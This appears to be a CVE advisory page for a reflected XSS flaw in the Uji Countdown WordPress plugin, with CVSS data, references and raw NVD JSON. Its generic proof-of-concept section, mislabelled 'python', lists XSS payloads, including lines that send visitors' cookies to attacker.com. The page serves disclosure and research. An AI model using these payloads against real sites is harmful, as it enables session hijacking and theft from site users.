CVE-2025-52749

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Activity Track Uji Countdown uji-countdown allows Reflected XSS.This issue affects Uji Countdown: from n/a through <= 2.3.3.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Uji Countdown <= 2.3.3（所有版本）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-52749 PoC - WordPress Uji Countdown Reflected XSS -->
<!-- Target: WordPress site with Uji Countdown plugin <= 2.3.3 -->
<!-- Attack Vector: Reflected XSS via URL parameter -->

<!-- Example malicious URL -->
<!-- Replace 'TARGET_URL' with the vulnerable WordPress site URL -->
<!-- Replace PARAMETER_NAME with the vulnerable parameter -->

<!-- Basic XSS PoC -->
<!-- TARGET_URL/?param=<script>alert('XSS')</script> -->

<!-- Cookie stealing PoC -->
<!-- TARGET_URL/?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script> -->

<!-- More obfuscated payload -->
<!-- TARGET_URL/?param=<img src=x onerror=alert(document.domain)> -->
<!-- TARGET_URL/?param=<svg onload=alert(document.cookie)> -->

<!-- HTML encoding bypass attempt -->
<!-- TARGET_URL/?param=%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E -->

<!-- JavaScript event handler payload -->
<!-- TARGET_URL/?param=--><script>fetch('https://attacker.com/log?data='+btoa(document.cookie))</script>-->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52749
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52749
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52749/
[4] VulDB https://vuldb.com/cve/CVE-2025-52749
[5] https://patchstack.com/database/Wordpress/Plugin/uji-countdown/vulnerability/wordpress-uji-countdown-plugin-2-3-3-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-52749", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:44.710", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Activity Track Uji Countdown uji-countdown allows Reflected XSS.This issue affects Uji Countdown: from n/a through <= 2.3.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/uji-countdown/vulnerability/wordpress-uji-countdown-plugin-2-3-3-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}